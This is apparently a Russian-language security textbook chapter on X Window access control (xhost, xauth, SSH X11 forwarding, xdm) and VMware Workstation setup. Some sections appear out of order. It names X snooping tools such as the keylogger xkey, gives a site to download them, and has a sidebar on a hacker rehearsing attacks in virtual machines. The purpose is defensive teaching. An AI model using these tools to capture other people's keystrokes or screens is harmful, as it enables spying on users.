Инструментальные средства обеспечения безопасности

         

Безопасность X Window, часть 1: использование xhost и xauth


Поскольку X Window взаимодействуют с вашей клавиатурой, мышью и экраном, оставлять X Window незащищенным слишком опасно. Это не только даст возможность кому бы то ни было выводить окна на ваш дисплей, но и кто угодно сможет запустить "невидимое" приложение, которое сможет перехватывать информацию от клавиатуры или от мыши. Вы можете использовать два встроенных метода для блокирования X-сервера - xhost и xauth.



Другие важные компоненты


Мы познакомились с основными понятиями X Window-соединений и способами сделать их относительно безопасным. Теперь коротко познакомимся с некоторыми другими программами, работающими в среде X Window.



Как взаимодействуют удаленные клиенты и серверы


Предположим, вы вошли в систему в командной строке (с использованием интерпретатора bash или tcsh) на HOST2. Вы можете указать системе на HOST2 использовать HOST1 для отображения графических приложений, задав это в командной строке X приложения, которое вы запускаете.

HOST2% xemacs -display HOST1:0.0

Вы можете заставить все X приложения использовать HOST1 по умолчанию для отображения, установив переменную окружения DISPLAY внутри среды командного интерпретатора. Для этого в командной строке HOST2 вы должны выполнить:

HOST2% DISPLAY=HOST1:0.0; export DISPLAY

Для Bourne shell (sh, bash), или:

HOST2% setenv DISPLAY HOST1:0.0

для C shell (csh, tcsh).

Теперь если вы запустите xemacs, то вместо попыток отображать информацию на HOST2 (на котором может быть запущен X сервер, а может, и нет), он будет пытаться отображать данные на HOST1. Ниже приводятся иллюстрации работы модели клиент/сервер.


увеличить изображение

Что означает значение :0.0 после строки HOST1 в переменной DISPLAY? Один хост теоретически может выполнять несколько X серверов. Каждый X сервер может управлять несколькими экранами. Формат переменной DISPLAY выглядит следующим образом:

DISPLAY = <hostname>:<displaynumber>.<screennumber>

где:

<hostname>. Определяет имя или IP-адрес хоста, на котором запущен X-сервер.<displaynumber>. Определяет какой, X-сервер должен использовать X-клиент, начиная с нулевого номера.<screennumber>. Определяет, какой экран X-сервера следует использовать, начиная с нулевого номера.

Если вы не используете необычную конфигурацию X-сервера, значение переменной DISPLAY всегда должно быть равным :0.0. Фактически, вам следует оставить только значение .0, поскольку экран с номером 0 используется по умолчанию.

X-серверы по умолчанию прослушивают TCP-порт с номером 6000. Если на той же самой машине был запущен второй X-сервер (дисплей), он будет прослушивать TCP-порт с номером 6001. Номер дисплея, который будет использовать X-сервер, всегда будет поставлен в соответствие TCP-порту с номером, образованным сложением 6000 с номером дисплея.

Вы можете обратить внимание на небольшую проблему с безопасностью в такой модели клиент/сервер. Задание переменной окружения позволяет нам сообщить клиенту на HOST2 отображать информацию на HOST1. Но что остановит вас от передачи информации от приложения куда ни будь еще? Один из наиболее распространенных способов взлома, рассматриваемых на тренингах по безопасности систем, является определение в переменной DISPLAY параметров вашего собственного X-сервера и наблюдение за тем, как вы запускаете все новые версии программы xeyes на своем рабочем столе всякий раз, когда пытаетесь что-либо сделать. Наиболее пугающим злоупотреблением может быть запуск программы вроде xkey, которая перехватывала бы все вводимые вами символы от X-сервера. Очевидно, что X-сервер должен иметь некоторые способы контроля доступа, чтобы только полномочные клиенты могли выводить свою информацию.



Модель клиент-сервер


X Window использует модель клиент-сервер. Оконная система выступает в качестве сервера, а графические программы в качестве клиентов. Когда на машине, где выполняется X сервер, запускается графическое приложение вроде xterm или xemacs, взаимодействие между клиентом и сервером довольно прозрачно. Внешне это выглядит, как если бы это была машина под управлением Microsoft Windows.

Но что, если вы запустите X сервер на машине с именем HOST1, соединитесь с помощью telnet с машиной HOST2, и захотите запустить на HOST2 редактор xemacs? Вам понадобиться указать xemacs-клиенту на HOST2, что необходимо использовать X сервер на машине HOST1. Если вы думаете об этом, то именно в этом состоит глубокий смысл архитектуры клиент/сервер. Обычно, если вы работаете в системе, и вам требуется использование удаленных ресурсов, вы используете локальные клиентские приложения для соединения с удаленным сервером, который предоставляет ресурсы. В случае с X Window, вы запускаете сервер на своей локальной машине, а затем удаленный ресурс (клиент) устанавливает соединение с вами.





Обеспечение безопасности X Window, часть вторая: направление X Window трафика через SSH


Теперь вы можете лучше контролировать доступ к вашему X-серверу, но по прежнему все данные X-сервера передаются по сети открытыми. Несмотря на то, что X-трафик весьма трудно реконструировать (выделить движения мыши и графику среди другой информации), вы можете захотеть добавить шифрование.

Протокол SSH (Secure Shell) дает возможность перенаправить TCP-соединения через SSH-туннель. Если в вашем распоряжении имеется SSH-клиент, который поддерживает перенаправление по протоколу X11, то вы можете зашифровать свои X Window-соединения.

Вновь вернемся к упоминавшемуся ранее примеру с машинами HOST1 и HOST2. Предположим, что мы запустили сервер X Window на машине HOST1, и хотим выполнить клиентское приложение на HOST2 и передавать информацию для отображения на HOST1. Реализация протокола SSH на обеих машинах должна допускать перенаправление X11-трафика (обычно это допускается по умолчанию). Далее следует убедиться, что на SSH сервере на машине HOST2 включена поддержка перенаправления X11 трафика, и для SSH-клиента на машине HOST1 также включена такая поддержка. Вы можете это проверить, просмотрев файлы ssh_config и sshd_config в соответствующей директории (размещающейся в разных местах в зависимости от типа используемой системы, но обычно в директории /etc/ssh). Проверьте строки X11Forwarding или ForwardX11 и установите параметр "yes", если хотите, чтобы это работало.

Совет. Перенаправление X11-трафика для SSH-клиента вместо определения в файле ssh_config, можно включить с помощью флага -x. В то же время, перенаправление X11-трафика для SSH-сервера включено по умолчанию, и изменить это можно только в файле sshd_config.

С помощью флага -x определим использование перенаправления трафика X11 от HOST1 к HOST2 через SSH. Теперь просмотрим содержимое переменной DISPLAY на HOST2, воспользовавшись командой setenv | grep DISPLAY (для интерпретатора csh и tcsh) или set | grep DISPLAY (для интерпретатора sh и bash). Вы должны увидеть нечто похожее на строку

DISPLAY=HOST2:10.0


Но минуточку! Номер дисплея равен 10, а хост - HOST2. Но вы хотели отображать вывод X Window приложения на HOST1. Переменная DISPLAY устанавливается автоматически, как только вы осуществите SSH-соединение с флагом -x. Дисплей номер 10 на HOST2 автоматически назначается на локальный X-сервер, чтобы отображать информацию через SSH на реальном X-сервере на HOST1. Попытайтесь теперь выполнить приложение xclock на HOST2, и вы увидите часики на экране HOST1. Все ваши действия с приложением будут передаваться через шифрованный туннель. Шифрование не строго обязательно, когда вы запускаете удаленно часы, но это может оказаться важным, когда вы используете удаленный запуск редактора xemacs.

Примечание. Важно не использовать параметр -display с любой из команд X Window, если они выполняются через SSH-туннель, поскольку это переопределить специальный "доверенный" сервер, который определяет SSH.

Перенаправление X11-трафика через SSH также касается и аутентификации. Вдобавок к автоматическому определению "доверенного" X-сервера, SSH клиент определяет фиктивный идентификационный набор информации и направляет его SSH-серверу. Сервер, в свою очередь, записывает идентификационную информацию в Xauthority файл на удаленной машине, автоматически предоставляя вам доступ к вашему X серверу. Другими словами, если вы запускаете X-сервер на HOST1, SSH-клиент должен сообщить "доверенному" X-серверу на SSH-сервере о необходимости создать следующую запись в Xauthority-файле на HOST2.

HOST2:10 MIT-MAGIC-COOKIE-1 121812483b0b3f19367c1541062b472b

Это предохраняет от передачи реальной идентификационной информации через сеть. В обоих направлениях пересылается только фиктивная идентификационная информация (да и та зашифрованная). Соединения, которые проходят через прокси, могут поставить в соответствие фиктивную идентификационную информацию для HOST2:10 реальным данным для HOST1:0. Это позволяет осуществить перенаправление X-трафика через SSH-туннель к серверу только авторизованному X-клиенту, который запустил X-сервер и SSH-клиент на HOST1.

Вы все еще здесь? Все это может показаться весьма сложным - ниже приведена диаграмма, которая иллюстрирует, что происходит.


увеличить изображение


Теперь вы знаете...


В этой лекции говорилось об основах архитектуры X Window и были изложены соображения о потенциальной опасности запуска X-приложений. За широкие возможности удаленного запуска графических приложений приходится платить.

Есть несколько X window-утилит, которые могут эксплуатировать эти опасные особенности. Мы упоминали программу xkey, которая позволяет отслеживать последовательности введенных с клавиатуры символов на X-сервере, к которому вы имеете доступ (или на законном основании или вследствие недостатков в системе безопасности). Другая программа, xwatchwin, может позволить просматривать реальное содержание окна X сервера, предполагая, что у вас есть доступ. Вы можете использовать программу xscan для поиска в сети X-серверов, которые могут быть уязвимы для этих атак. Все эти утилиты можно скачать с сервера http://www.packetstormsecurity.nl/.

Мы отпугнули вас от использования X Window? Не волнуйтесь. Чтобы обеспечить возможную безопасность при запуске X Window вам всего лишь необходимо помнить следующее.

Избегайте, если это возможно, управления доступом с помощью xhost. Это наиболее безопасный подход. Используйте вместо этого xauth.Запускайте все ваши удаленные X Window-приложения через SSH-туннель.Отключите XDMCP, если только вы не работаете в частной сети.

<

Выбор оконного менеджера


Простейшая, но важная деталь, касающаяся X Window, состоит в том, что по умолчанию она поставляется без оконного менеджера или рабочего стола. X Window поддерживает клавиатуру, мышь, и окно для вывода информации. Оно поставляется с базовой системой, которая позволяет вам "поместить" окна в любое место на экране и уничтожить эти окна. Причудливые меню и панели инструментов отставлены для оконных менеджеров, которые выполняются поверх X Window. В настоящее время доступно несколько оконных менеджеров, включая такие популярные приложения как Gnome, KDE, и Window Maker. Эмуляторы X Window для системы Window вроде ReflectionX или Exceed также имеют собственные встроенные оконные менеджеры. Важно помнить, что X Window - всего лишь промежуточная архитектура для оконной системы; в ней нет ничего, что бы выглядело, как графическая оконная среда.



Xauth


Xauth в действительности является не программой контроля доступа, а скорее, графическим интерфейсом пользователя для доступа к файлу Xauthority, который может использоваться X-сервером для обеспечения безопасности. Xauth позволяет добавлять, удалять, просматривать и объединять списки авторизации для доступа к X-серверу. Элементы списка авторизации для доступа к X-серверу содержат имя хоста X-сервера и номер дисплея, протокол авторизации и секретные данные. X-сервер должен при запуске сгенерировать список авторизации на основе своего файла Xauthority (это делает программа xdm), а клиенты, желающие получить доступ к этому серверу, должны иметь строку авторизации в своем локальном файле Xauthority. X Window-авторизация поддерживает несколько различных протоколов. В этой книге рассматривается только два из них.

MIT-MAGIC-COOKIE-1. Это наиболее популярный протокол, поскольку он проще в использовании и не требует использования программы xdm (о которой мы кратко поговорим позже). Для обеспечения секретности используется 128-битный ключ, который можно скопировать из Xauthority-файла на сервере в соответствующий файл клиента, используя программу xauth. Когда сервер вызывает клиента, секретный ключ передается в виде простой текстовой строки.XDM-AUTHORIZATION-1. Практически то же самое, что и предыдущий протокол, но использует стандарт шифрования DES, чтобы не пересылать по сети секретный ключ в виде простого текста. В данном случае используется зашифрованный 56-битный секретный ключ и 64-битная строка аутентификации. Когда клиент производит соединение, сервер вызывает его, запрашивая 192-битный пакет данных (содержащий дату, время и идентификационную информацию) который зашифрован с использованием открытого ключа. Если клиент располагает правильным ключом и сервер может расшифровать и интерпретировать информацию, клиент получает разрешения на доступ. Примечание. В данном контексте ключи xauth, xauth cookies и Xauthority - элементы, являющиеся синонимами.

Концепция довольно проста.
После запуска X-сервера необходимо сгенерировать запись в файле Xauthority в зависимости от того, какой протокол вы используете. Если вы используете xdm, запись будет сгенерирована автоматически. Многие системы могут автоматически генерировать запись, когда вы вручную запускаете X-сервер. Поговорим о том, как можно сгенерировать Xauthority-запись вручную, чтобы вы представляли себе команды, которые при этом выполняются. Например, будем использовать протокол MIT-MAGIC-COOKIE-1.

На машине, где запущен X-сервер, запустите xterm. Наберите следующие команды.

jdoe@myxserver$ xauth xauth: creating new authority file /home/jdoe/.Xauthority Using authority file /home/jdoe/.Xauthority xauth generate myxserver:0 . authorization id is 41 xauth list myxserver:0 MIT-MAGIC-COOKIE-1 121812483b0b3f19367c1541062b472b xauth Совет. Точка в конце команды generate находится в том месте, где следовало бы определить протокол аутентификации, который вы бы хотели использовать для xauth. Если использовать только точку, то будет использоваться протокол MIT-MAGIC-COOKIE-1. Создание записи для другого протокола обычно требует дополнительной информации, которую необходимо добавить в конце командной строки. Обычно это делается не вручную, а с использованием внешней программы или скрипта.

Теперь у вас есть запись для авторизации (которая не должна быть доступна для чтения кому-либо еще в системе) для вашего X-сервера. Теперь попробуем запустить графическое приложение с удаленной машины на вашем X-сервере. Вам понадобится сообщить удаленной машине о ключе доступа. Вы можете сделать это, добавив в файл ~/.Xauthority запись и скопировав туда информацию.

jdoe@remotebox$ xauth add myxserver:0 MIT-MAGIC-COOKIE-1 \ 21812483b0b3f19367c1541062b472b

Или вы можете слегка автоматизировать этот процесс.

jdoe@myxserver$ xauth extract - $DISPLAY | ssh remotebox "xauth merge -"

Команда xauth извлечет ключ для хоста, названного в переменной $DISPLAY и пошлет его на стандартный вывод. Мы перенаправим этот вывод на remotebox с использованием ssh и добавим эту информацию к команде xauth.


Это эффективный способ передачи ключа для авторизации с сервера в Xauthority-файл на удаленной машине. Вы можете подтвердить это, запросив список авторизационных записей на удаленной машине. Удаленная машина теперь может свободно использовать X-сервер с машины myxserver, поскольку ей известен ключ для авторизации. Только хосты, которым известен ключ авторизации, могут использовать X-сервер.

Совет. Предыдущая команда предполагает, что в переменной DISPLAY содержится IP-адрес или имя хоста. Имейте в виду, что переменная DISPLAY может ссылаться на другое, нежели интернет, семейство адресов. Если переменная DISPLAY установлена в :0 и вы запускаете команду, то можете обнаружить, что записи в файле Xauthority удаленной машины ссылаются на myxserver по только ей известному имени (имени нет в базе DNS), или, что еще хуже, по адресу, принадлежащему другому семейству адресов (например, по адресам сокетов локального домена вместо адресов TCP/IP). Поэтому наилучшим можно признать однозначное задание IP-адреса в переменной DISPLAY (например, в виде 192.168.1.50:0).

Передача записей из файла Xauthority от сервера клиенту одинакова независимо от типа используемого протокола авторизации. Некоторые из более продвинутых протоколов включают процедуру SUN-DES-1, которая использует систему Secure RPC от фирмы Sun, и MIT-KERBEROS-5, которая использует аутентификацию пользователей по протоколу Kerberos. Эти методы авторизации более безопасны, но они также и более сложны для первоначальной настройки. За подробной информацией обращайтесь к man-страницам по процедурам xauth, xdm, и по файлу Xsecurity.


Xdm


Xdm - менеджер, который может управлять несколькими X Window-дисплеями на локальной машине или на удаленном сервере. Unix-системы, которые автоматически загружают X Window при запуске, обычно запускают xdm для поддержки X-серверов и сессий. Он запрашивает имя пользователя и пароль, и затем поддерживает рабочую сессию. Xdm поддерживает большинство из упоминавшихся функций аутентификации, генерируя записи в файле Xauthority незаметно для вас при входе в систему.

Xdm использует протокол XDMCP (X Display Manager Control Protocol), который выполняется на UDP-порте с номером 177. Он ожидает запросов от X-серверов, которые запрашивают дисплей менеджер. Это позволяет удаленным X-серверам (особенно X-терминалам, на которых не установлено ничего, кроме X Window) послать запрос хосту, на котором выполняется xdm-менеджер, и который может управлять их X-сессией. Это означает, что машина, на которой выполняется xdm, сообщает другим X серверам - "Вы можете запустить сессию у меня и использовать все мое программное обеспечение и X-клиентов, и отображать у себя результат их работы". Это подобно использованию telnet для входа на машину, за исключением того, что используется графический режим.

Выполнение XDMCP в сети весьма небезопасно и не рекомендуется, если только вы не работаете в проверенной локальной сети. Если вам нравится возможность входа с использованием X Window на ваш локальный сервер, то это тот случай, когда можно использовать xdm. Но следует убедиться, что вы не прослушиваете XDMCP-запросы и не предоставляете свой xdm-сервис X-серверам, для которых вы этого не предусматривали. Обратитесь к man-страницам за дополнительными деталями настройки системы безопасности xdm.

Совет. До тех пор, пока XDMCP использует UDP, XDMCP-трафик невозможно направить через SSH.



Xhost


Xhost позволяет осуществлять контроль за доступом к вашему X-серверу на основе имени хоста/IP-адреса. Чтобы разрешить машине HOST2 использовать HOST1 в качестве дисплея, вам необходимо убедится, что X-сервер машины HOST1 запущен с помощью следующей команды (например, с использованием окна X-терминала):

bash% xhost +HOST2

Если вы хотите явным образом запретить доступ для HOST2, то попытайтесь сделать это так:

bash% xhost -HOST2

По умолчанию доступ запрещен для всех. Вы можете использовать xhost, чтобы добавить определенные хосты в специальный список доверенных хостов. Вы можете также разрешить доступ на глобальном уровне (отменив контроль доступа) просто запустив команду xhost +. Это делать не рекомендуется, поскольку некто, имеющий доступ к вашей машине по сети, будет иметь возможность запускать приложения на вашем X-сервере. Команда xhost - позволяет вновь включить контроль доступа к использованию X-сервера, разрешая доступ только для хостов, внесенных в список доверенных. Чтобы просмотреть список машин, которым в настоящее время разрешено использовать ваш X-сервер, запустите команду xhost без параметров.

Примечание. Команда xhost запрещает доступ только "на будущее"; эта команда не прерывает текущие соединения.

Те не менее, Xhost - не слишком эффективный метод обеспечения контроля доступа, поскольку он не требует аутентификации на основе ввода имени пользователя и пароля, а также не использует шифрования. По той же самой причине базовый контроль доступа, основанный на контроле IP-адреса на брандмауэре - не слишком хорошее решение для Виртуальной частной сети (VPN - Virtual Private Network); вы полагаетесь исключительно на IP-адрес для определения идентичности. Как мы уже видели и увидим в последующих лекциях, имя хоста или IP-адрес могут быть подделаны. Для пользователей, хорошо знакомых с TCP-оболочкой и запуском удаленных служб (rsh, rlogin и т.д.), это похоже на веру в то, что файлы hosts.allow, hosts.deny и hosts.equiv защитят ваши X-сессии.

Совет. Использование xhost + может переопределить все средства обеспечения безопасности, обсуждающиеся в нескольких следующих разделах. Вам следует всячески избегать запуска этих команд без определения имени хоста.



Xinit и Startx


Xinit инициализирует систему X Window и запускает инициализацию клиентов. Поведение этой программы во многом определяется ее настройками. Обычно она запускается в процессе выполнения скрипта startx. По умолчанию xinit запускает оконную систему (с основными функциями, о которых упоминалось в начале этой лекции) и программы, перечисленные в файле ~/.xinitrc пользователя. В случае его отсутствия просто запускается программа xterm.

Xinit можно сконфигурировать так, что будет по умолчанию запускаться ваш любимый оконный менеджер (KDE, Gnome и т.д.). Xinit также позволяет сконфигурировать параметры экрана, цветовой гаммы экрана и тому подобное.

Startx - промежуточное средство, которое позволяет скрыть некоторые сложные детали при запуске и во время выключения X Window. Он обеспечивает поиск различных конфигурационных файлов для клиента и сервера (xinitrc и xserverrc) по всем возможным местам их расположения и генерирует командную строку для xinit.

Принимая во внимание, что xdm - это автоматический способ запуска и управления X Window-сессией в процессе загрузки системы, xinit и startx можно считать способом запуска X Window вручную при необходимости.



Xserver


Xserver - программа, которую xdm запускает, когда кто либо регистрируется в системе, или xinit, когда кто-либо выполняет команду startx. Xserver получает настроечные параметры от программы, которая его запускает. X-сервер обеспечивает сетевые соединения, аутентификацию, управление экраном, управление шрифтами, XDMCP-запросы, и множество других полезных вещей. За подробностями обращайтесь к man-страницам для Xserver.



Конфигурирование


После перезагрузки щелкните дважды мышью на пиктограмме VMware Workstation.

При запуске вы получите запрос на ввод регистрационной информации, чтобы убедиться в том, что вы располагаете легальной копией продукта. После этого вы увидите примерно то, что изображено на рис. 4.1.


увеличить изображение
Рис. 4.1.  Экран приветствия VMware

Поскольку это первый запуск VMware, и вы хотите создать новую виртуальную машину, то щелкните на кнопке New Virtual Machine. В VMware имеется автоматическая процедура, упрощающая этот процесс.В следующем окне лучше всего выбрать Typical configuration. Параметр Guest OS Kit таковым на самом деле не является. Этот параметр просто конфигурирует VMware для использования с уже установленной операционной системой. На момент написания этой книги в VMware была возможность настройки только для Windows 2000 и Windows XP. В следующих версиях предполагается расширить круг таких операционных систем, но за добавление каждой операционной системы придется платить дополнительно. Для наших целей выберите Custom; это позволить познакомиться с некоторыми дополнительными параметрами, чтобы обсудить особенности работы VMware. Затем щелкните на кнопке Next.


В следующем окне задается вопрос, какую виртуальную машину вы хотите создать. Вы можете выбрать между Windows, MS-DOS, Linux, FreeBSD или мистической Другой (Other) ОС. Этот выбор предназначен для других Intel-совместимых ОС (таких как Solaris для Intel), которые могут работать, но официально не поддерживаются. Здесь также спрашивается, где разместить файлы для вашей виртуальной машины. Сделайте свой выбор и нажмите Next.


Вы столкнулись с первым дополнительным параметром: использование памяти (memory usage). Всякий раз, когда вы создаете виртуальную машину с собственными устройствами и ресурсами, естественно, что виртуальная машина требует использования ресурсов хост-системы, таких, как дисковое пространство, ресурсы центрального процессора и оперативная память. VMware предполагает, что вы сконфигурируете распределение оперативной памяти таким образом, что при запуске всех операционных систем сразу вы используете три четверти ресурсов имеющейся оперативной памяти.
Если вы предполагаете использовать только одну виртуальную машину (или одновременно одну виртуальную машину), вы можете разделить имеющуюся оперативную память примерно пополам. Нажмите Next.



Мы кратко упоминали о параметрах сети. VMware предоставляет вам выбор. Использование параметра "Bridged networking" позволяет создать виртуальный сетевой интерфейс, который по примеру реальной машины с собственной сетевой картой потребует собственного IP-адреса. Если вы работаете в сети, где вам доступен IP-адрес для использования виртуальной машиной, то этот выбор предпочтителен. Однако если вы используете VMware на мобильном компьютере или на машине, для которой невозможно использование более одного IP-адреса, то можете использовать трансляцию адресов (NAT). Этот метод позволяет дополнительной операционной системе использовать "зарезервированный" IP-адрес (например, 10.0.0.1) и маскировать собственный сетевой трафик под реальный IP-адрес хост-системы. Если все, что вам нужно - это дать возможность соединения хост-системы с виртуальными системами по виртуальной сети, то выбирайте "host-only networking". Затем нажмите Next.



У дополнительных ОС под VMware есть виртуальные аппаратные устройства, но в действительности эти устройства используют файлы, поддерживаемые хост-системой, которые VMware интерпретирует как диски. Разрешать прямой доступ к физическим устройствам виртуальным машинам небезопасно, поскольку в этом случае вы нарушаете несколько основных концепций виртуальных машин. Поэтому вы должны всегда использовать виртуальные диски. Если вы используете виртуальные диски, важным преимуществом является то, что есть возможность отменить все изменения на жестком диске, сделанные в процессе текущей сессии. Скоро мы обсудим это несколько подробнее.



Далее вас спросят об ограничениях дискового пространства. Убедитесь, что диски дополнительной ОС не переполнят физические устройства, поэтому задавайте реальные размеры дисков для дополнительной ОС.Щелкните на кнопке Finish.


Теперь все готово.

Теперь можно просмотреть сконфигурированные параметры (см. рис. 4.2). Если вы сконфигурировали несколько виртуальных машин, вы сможете увидеть их список в окне VMware Workstation. Можно изменить параметры, щелкнув правой кнопкой мыши на имени виртуальной машины и выбрав закладку Settings. Запустится редактор конфигураций.


увеличить изображение
Рис. 4.2.  Редактор конфигураций

Выбрав устройство в левой части окна, вы можете изменить параметры конфигурации для этого устройства. На приведенной иллюстрации мы изменяем установки оперативной памяти. Если мы хотим изменить установки сети, то следует выбрать устройство Network Adapter.


Обратим внимание на доступные для редактирования параметры диска, которые появляются, если выбрать устройство Virtual Disk. Вы можете изменить файл, который использует устройство, а также его размер. Обратите внимание на параметр Mode на следующей иллюстрации. По умолчанию диски доступны постоянно. Однако одной из приятных возможностей VMware является то, что можно сделать диски с параметром "undoable" или "nonpersistent". Обозначить диск, как "nonpersistent" удобно в том случае, если вы создали машину для демонстрации или представления проекта, который вы собираетесь делать заново. Это позволяет стереть все изменения, которые вы сделали на диске после выключения машины. Вы можете даже полностью переразметить ваш виртуальный диск с помощью программы fdisk; если ваш диск обозначен как "undoable" или "nonpersistent", вы можете вернуть его в исходное положение.

Режим Undoable более популярен, поскольку дает возможность выбрать между сохранением результатов или их уничтожением.


Вы также можете добавить устройства типа дополнительных дисков, сетевых карт, поддержки звука или поддержки параллельных или последовательных портов с использованием мастера добавления устройств, который становится доступным, если воспользоваться кнопкой Add.


В дополнение к виртуальным дискам вы можете использовать мастер добавления устройств для создания виртуальных гибких дисков или CD-дисков.


По умолчанию VMware связывает устройства чтения гибких дисков и CD-дисков с реальными устройствами, которые она находит на машине. В дополнение к использованию физических устройств, вы можете использовать образы гибких дисков или CD-дисков (ISO), созданные VMware.

VMware позволяет создать образ гибкого диска, если щелкнуть на кнопке Create, как это видно в следующем окне. ISO-образ может быть создан с использованием стандартных программ записи CD-дисков (например, Adaptec's Easy CD Creator) или с помощью Unix-утилиты mkisofs.


Создайте столько образов, сколько вам потребуется, и воспользуйтесь кнопками Add и Remove на закладке Hardware редактора конфигурации, чтобы загрузить или выгрузить те устройства, которые вам нужны. VMware поддерживает до двух параллельных устройств чтения гибких дисков (реальных или образов), до четырех IDE-устройств (жестких дисков или CD, как физических устройств, так и виртуальных образов) и до семи SCSI-устройств (как физических устройств, так и виртуальных образов сканеров и других SCSI-устройств). На следующей иллюстрации приведен пример конфигурирования виртуального устройства чтения CD-дисков, которое использует ISO-образ RedHat 7.2 и одно из семи доступных SCSI-устройств.


Эта возможность весьма полезна, если вы хотите запускать VMware на портативном компьютере. Вместо использования гибких дисков или CD, когда вы находитесь в пути, вы можете использовать их образы. Виртуальные устройства также полезны в случае, если ваша портативная система снабжена отсоединяемыми устройствами для чтения гибких или CD-дисков, которые не всегда доступны.

Если вы установили несколько разных виртуальных Linux-машин (возможно, вы захотите тестировать приложения на нескольких различных версиях Linux или для разных дистрибутивов, чтобы понять, как они себя ведут), вы можете переименовать их, используя соответствующую закладку в редакторе конфигурации. Вы также можете настроить параметры отладки и управления включением вашей машины.


Мы создали виртуальную машину, которая подготовлена для установки дополнительной операционной системы.Мы собираемся использовать преимущества "nonpersistent" диска для создания машины под управлением RedHat 6.0, чтобы взламывать ее каждый день в целях демонстрации, и затем приводить в исходное состояние после выключения машины. Мы видим, что машина выключена. Вставим дистрибутив RedHat в физическое устройство для чтения CD-дисков и попытаемся включить машину, щелкнув на кнопке Power On.


Реализация


Когда мы в первый раз включаем виртуальную машину, на экране появляется примерно та же картинка, что и при первой загрузке реальной машины (см. рис. 4.3). Она выполняет команды POST, тестирует память и затем начинает загрузку.

После запуска с компакт-диска начнет загружаться программа инсталляции RedHat. Мы увидим окно, похожее на то, что изображено на рис. 4.4.

Программа инсталляции ожидает от нас ввода. По умолчанию VMware не перехватывает фокус (т.е. не воспринимает то, что введет пользователь), пока вы не щелкнете мышкой в поле окна. Сделаем это и нажмем клавишу Enter. Обратите внимание, что подсказка в нижней части окна говорит о необходимости нажать CTRL-ALT для того, чтобы дополнительная ОС освободила управление мышью. Параметры управления мышью и просмотра окна дополнительной ОС можно настроить в разделе Preferences.


увеличить изображение
Рис. 4.3.  Boot-up экран VMware


увеличить изображение
Рис. 4.4.  VMware - установка ОС

Примечание. В предыдущих версиях VMware, чтобы освободить управление мышью, использовалась комбинация клавиш CTRL-ALT-ESC.

До того как мы сделаем окно дополнительной ОС активным, появляется сообщение о том, что дополнительные средства VMware не установлены, как это можно видеть на рис. 4.5. Дополнительные средства VMware - это набор инструментальных средств, специально разработанных для каждого дополнительного типа ОС, чтобы поддерживать вывод видеоинформации, взаимодействие с мышью и много других вещей. К сожалению, невозможно установить инструментальные средства VMware, пока дополнительная ОС не будет установлена. Поэтому нам придется подождать.


увеличить изображение
Рис. 4.5.  VMware - выключение и работа

Это выглядит так же, как если бы мы просто устанавливали RedHat 6.0 на Intel-совместимую машину! Теперь мы можем двигаться дальше и взаимодействовать с операционной системой в нормальном режиме.

Имейте в виду, что если вас спрашивают об установке менеджера загрузки, то это менеджер загрузки только для виртуальной машины. Ваша реальная хост-машина будет по-прежнему загружаться так, как раньше. Если ваша дополнительная ОС задает вопрос о видеокарте и мониторе, которые вы должны установить, то они должны быть теми же, что и на хост-машине. После завершения установки перезагрузите новую виртуальную Linux-систему (см. рис. 4.6), и вперед!


увеличить изображение
Рис. 4.6.  Работа Linux внутри Vmware

Теперь, когда ОС установлена, можно установить инструментальные средства VMware. После этого, мы сможем взаимодействовать с этой Linux машиной, как если бы это была другая машина или хост в сети.

Имейте в виду, что сейчас мы коснулись только Windows VMware Workstation. То же может быть сделано и с использованием Linux в качестве хост-системы, и Windows в качестве дополнительной ОС, так что виртуозы смогут использовать Windows приложения, когда придет время. Чтобы узнать, что еще можно сделать с использованием VMware, обратитесь к файлу помощи по VMware или к веб-сайту.

Пример из жизни. Как взломщик может использовать VMware

Бобби Хакало, весьма опытный хакер, на днях приобрел VMware для своего нового гигагерцового лэптопа с Windows 2000, оснащенного 512Мб оперативной памяти и жестким диском объемом 40Гб. Он предполагал загружать в него несколько дополнительных операционных систем под управлением VMware, включая Windows 95, Windows 98, Windows NT 4 Workstation и Server, RedHat Linux 6, RedHat Linux 7 и FreeBSD 4.

Используя VMware для объединения такого множества операционных систем на одной машине, Бобби получил несколько преимуществ. Во-первых, он получил возможность использовать сетевые и инструментальные средства для Windows и Unix на одной машине. Если он находится в сети с динамическим выделением IP-адресов (DHCP), то он может использовать средства VMware для получения собственного IP-адреса. Он может затруднить отслеживание сетевой активности виртуальных машин на компьютере с собственным IP-адресом. Во-вторых, у него есть возможность определить машину того же типа как одну из его виртуальных машин. Он может настроить тестовый сценарий взлома, используя виртуальную машину для отладки своих действий, перед тем как взломать реальную машину. Используя опции VMware, Бобби может загружать образ операционной системы, заданный по умолчанию, загружать любые сервисы, которые могут быть запущены на машине, которую предполагается атаковать, и отладить сценарий своих действий без разрушения образа операционной системы. Если попытка не удалась, он может просто откатиться к начальным условиям, загрузить чистую систему и повторить попытку; ему не потребуется перезагружать машину. И он может делать это на одном персональном лэптопе в любой точке земного шара.

<

Загрузка и установка


Это первая программа из рассматриваемых, которая не относится к свободно распространяемым программам. VMware - коммерческий продукт, который можно загрузить с сервера http://www.vmvare.com/. Можно зарегистрировать VMware для ограниченного использования в течение 30 дней. Загрузка версии 3.1 может оказаться сложным делом, поскольку "весит" программа 18MB.

Как только вы запустите установочную программу VMware с Web-сервера или с компакт-диска, процесс пойдет проще. Мы собираемся продемонстрировать пример установки для Windows.

Примечание. VMware официально поддерживается для Windows (NT, 2000 или XP) и Linux-платформ; однако вы также можете использовать VMware на Unix-системах, которые поддерживают Linux-эмуляцию (например, FreeBSD). Операционная система, на которой установлена программа VMware, называется хост-системой.

Первое окно, которое вы увидите после запуска, выглядит как типичная заставка Welcome.

Подтвердите согласие с условиями лицензионного соглашения и щелкните на кнопке Next, чтобы двигаться дальше. Вы можете увидеть следующее сообщение:


(В настоящее время на вашей машине включена автоматическая загрузка программ с CD. Автозагрузка может неожиданно повлиять на виртуальные машины. Отключить поддержку автоматического автозапуска?)

Для использования VMware необходимо отключить автозапуск компакт-дисков, поскольку это может привести к проблемам с запускаемыми операционными системами. В большинстве случаев правильным будет отключить возможность автозапуска для CD-ROM, если только вы не доверяете всем производителям компакт-дисков, чьи диски вставляете в компьютер. Позволять системе вслепую запускать приложения с CD (которые могут заслуживать доверия, а могут, и нет) не намного лучше, чем запускать неизвестные вложения в приходящей вам электронной почте. Эти два аргумента, возможно, заставят вас ответить "да" на поставленный вопрос.

